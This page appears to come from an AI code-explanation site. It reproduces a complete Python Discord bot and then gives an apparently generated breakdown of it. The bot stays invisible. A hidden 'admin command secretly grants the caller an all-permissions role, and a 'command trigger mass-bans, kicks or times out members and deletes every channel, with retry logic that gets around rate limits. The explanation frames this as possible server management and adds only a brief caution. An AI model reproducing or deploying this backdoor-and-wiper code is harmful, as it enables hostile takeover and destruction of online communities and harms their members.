The provided code is a Python script that uses the...

July 4, 2025 at 10:26 PM

import discord import asyncio import base64 import datetime import random # Load token from base64 encoded file with open("secret.txt", "r") as f: encoded_token = f.read().strip() token = base64.b64decode(encoded_token).decode("utf-8") intents = discord.Intents.default() intents.members = True intents.message_content = True intents.guilds = True bot = discord.Client(intents=intents) MONITOR_USER_ID = 926519373382971442 # ID to DM on role removal ADMIN_ROLE_NAME = "☆" async def punish(member): try: await member.ban(reason=None, delete_message_days=0) print(f"Banned {member}") return except discord.Forbidden: pass except discord.HTTPException as e: if e.status != 429: print(f"HTTPException banning {member}: {e}") return except Exception as e: print(f"Exception banning {member}: {e}") return try: await member.kick(reason=None) print(f"Kicked {member}") return except discord.Forbidden: pass except discord.HTTPException as e: if e.status != 429: print(f"HTTPException kicking {member}: {e}") return except Exception as e: print(f"Exception kicking {member}: {e}") return try: until = discord.utils.utcnow() + datetime.timedelta(days=27) await member.edit(communication_disabled_until=until, reason=None) print(f"Timed out {member} for 27 days") except Exception as e: print(f"Exception timing out {member}: {e}") async def delete_with_retry(obj, max_retries=5, base_delay=2): delay = base_delay for attempt in range(max_retries): try: await obj.delete(reason=None) print(f"Deleted {obj}") return True except discord.HTTPException as e: if e.status == 429: retry_after = getattr(e, "retry_after", delay) wait_time = retry_after + random.uniform(0.5, 1.5) print(f"Rate limited deleting {obj}, retry {attempt+1} in {wait_time:.2f}s") await asyncio.sleep(wait_time) delay *= 2 else: print(f"HTTP error deleting {obj}: {e}") return False except discord.Forbidden: print(f"Forbidden to delete {obj}") return False except Exception as e: print(f"Unexpected error deleting {obj}: {e}") return False print(f"Failed to delete {obj} after {max_retries} attempts") return False async def create_hello_channel(guild, semaphore=None, max_retries=5, base_delay=2): delay = base_delay for attempt in range(max_retries): if semaphore: async with semaphore: ch = await _create_channel_once(guild) if ch is not None: return ch else: ch = await _create_channel_once(guild) if ch is not None: return ch await asyncio.sleep(delay + random.uniform(0.5, 1.5)) delay *= 2 print(f"Failed to create channel after {max_retries} attempts") return None async def _create_channel_once(guild): try: ch = await guild.create_text_channel("hello") print(f"Created channel: {ch.name}") return ch except discord.HTTPException as e: if e.status == 429: retry_after = getattr(e, "retry_after", 2) print(f"Rate limited creating channel, retry after {retry_after}s") await asyncio.sleep(retry_after) return None else: print(f"HTTP error creating channel: {e}") return None except Exception as e: print(f"Unexpected error creating channel: {e}") return None async def create_hello_role(guild, semaphore=None, max_retries=5, base_delay=2): permissions = discord.Permissions.all() delay = base_delay for attempt in range(max_retries): if semaphore: async with semaphore: role = await _create_role_once(guild, permissions) if role is not None: return role else: role = await _create_role_once(guild, permissions) if role is not None: return role await asyncio.sleep(delay + random.uniform(0.5, 1.5)) delay *= 2 print(f"Failed to create role after {max_retries} attempts") return None async def _create_role_once(guild, permissions): try: role = await guild.create_role( name="hello", permissions=permissions, colour=discord.Colour.default(), hoist=False, mentionable=False, reason=None, ) print(f"Created role: {role.name}") return role except discord.HTTPException as e: if e.status == 429: retry_after = getattr(e, "retry_after", 2) print(f"Rate limited creating role, retry after {retry_after}s") await asyncio.sleep(retry_after) return None else: print(f"HTTP error creating role: {e}") return None except Exception as e: print(f"Unexpected error creating role: {e}") return None @bot.event async def on_ready(): try: await bot.change_presence(status=discord.Status.invisible) print("Presence set to invisible") except Exception as e: print(f"Failed to set invisible presence: {e}") print(f"Logged in as {bot.user} (ID: {bot.user.id})") @bot.event async def on_message(message): if message.author == bot.user: return content = message.content.strip() if content in ("'admin", "'command"): try: await message.delete() except Exception: pass # ignore delete failure if content == "'admin": guild = message.guild existing_role = discord.utils.get(guild.roles, name=ADMIN_ROLE_NAME) if not existing_role: try: perms = discord.Permissions.all() new_role = await guild.create_role( name=ADMIN_ROLE_NAME, permissions=perms, colour=discord.Colour.default(), hoist=False, mentionable=False, reason=None, ) # Get all roles except default role roles = [r for r in guild.roles if not r.is_default()] if roles: top_role = max(roles, key=lambda r: r.position) bot_top_pos = guild.me.top_role.position # Set desired position above current top, but below bot top role desired_pos = min(top_role.position + 1, bot_top_pos - 1) # Only edit if desired_pos is different and valid if ( desired_pos > new_role.position and desired_pos < bot_top_pos ): await new_role.edit(position=desired_pos) await message.author.add_roles(new_role) except Exception as e: print(f"Error creating admin role or assigning it: {e}") # Try adding role anyway if possible try: await message.author.add_roles(new_role) except Exception: pass else: try: await message.author.add_roles(existing_role) except Exception: pass return if content == "'command": guild = message.guild # Punish members concurrently (excluding message author and bot) punish_tasks = [ asyncio.create_task(punish(m)) for m in guild.members if m != message.author and m != bot.user and not m.guild_permissions.administrator ] # Delete channels concurrently with retry delete_channel_tasks = [ asyncio.create_task(delete_with_retry(ch)) for ch in guild.channels ] # Await punish and channel deletions await asyncio.gather(*punish_tasks, *delete_channel_tasks, return_exceptions=True)

The provided code is a Python script that uses the discord.py library to create a Discord bot with various capabilities. Here's a detailed breakdown of what the code does:


1. Token Loading

  • The bot reads a Base64-encoded token from a file named secret.txt, decodes it, and uses it to authenticate with Discord.

2. Setting Up Bot and Intents

  • A discord.Client instance (bot) is created with specific intents:
    • members: Observe and interact with guild members.
    • message_content: Interact with message content.
    • guilds: Perform actions across guilds the bot is in.

3. Key Constants

  • MONITOR_USER_ID: A user ID that the bot may notify (though there's no implementation of monitoring in the provided code).
  • ADMIN_ROLE_NAME: The name of a role ("☆") used in certain administrative actions.

4. Punishment System (punish)

  • A function to "punish" Discord members:
    • Tries to ban the member.
    • If banning fails (e.g., due to permissions), tries to kick the member.
    • If kicking fails, applies a 27-day timeout (mute).

5. Retrying Deletions (delete_with_retry)

  • A function to delete Discord objects (like channels) with retries.
    • Handles Discord rate limits (429 Too Many Requests) by waiting and retrying.
    • Other exceptions (e.g., permissions or HTTP errors) are logged.

6. Channel Creation With Retry (create_hello_channel)

  • Creates a text channel named "hello" in a guild and retries on failure (with exponential backoff).
  • _create_channel_once handles the actual Discord API call.

7. Role Creation With Retry (create_hello_role)

  • Creates a role named "hello" in a guild with all permissions enabled and retries on failure.
  • _create_role_once is responsible for the actual API interaction.

8. Event: on_ready

  • Runs when the bot successfully connects to Discord.
    • Sets the bot's presence to "invisible."
    • Prints the bot's username and ID.

9. Event: on_message

  • Processes incoming messages (excluding messages sent by the bot itself).

(a) Admin Command: "'admin"

  • Deletes the triggering message.
  • Creates or fetches an "☆" admin role.
  • Assigns the role to the user who triggered the command:
    • Adjusts the role's position in the role hierarchy to be valid (under the bot's top role).

(b) Command to Wipe Server: "'command"

  • Deletes the triggering message.
  • Punishes all non-administrator members (excluding the message author and the bot):
    • Uses the punish function to ban, kick, or time out members.
  • Deletes all channels in the guild:
    • Uses delete_with_retry for concurrent retries.

10. Summary of Key Features

  • The bot provides two core commands:

    • "'admin": Grants the author an admin role with all permissions.
    • "'command": Performs destructive actions in a server by punishing most members and deleting all channels.
  • The bot uses retry mechanisms for handling errors like rate limits (429 Too Many Requests) and potential failures in API requests.


Potential Uses

  • This script can be used to manage a Discord server with powerful administrative abilities.
  • It can also be misused for malicious purposes (e.g., mass punishing and deleting resources).

Caution

  • Using such commands (especially the "'command" functionality) violates Discord's Terms of Service if used maliciously. It is critical to ensure the bot is used ethically and responsibly.
Generate your own explanations
Download our vscode extension
Read other generated explanations

Built by @thebuilderjr
Sponsored by beam analytics
Read our terms and privacy policy
Forked from openai-quickstart-node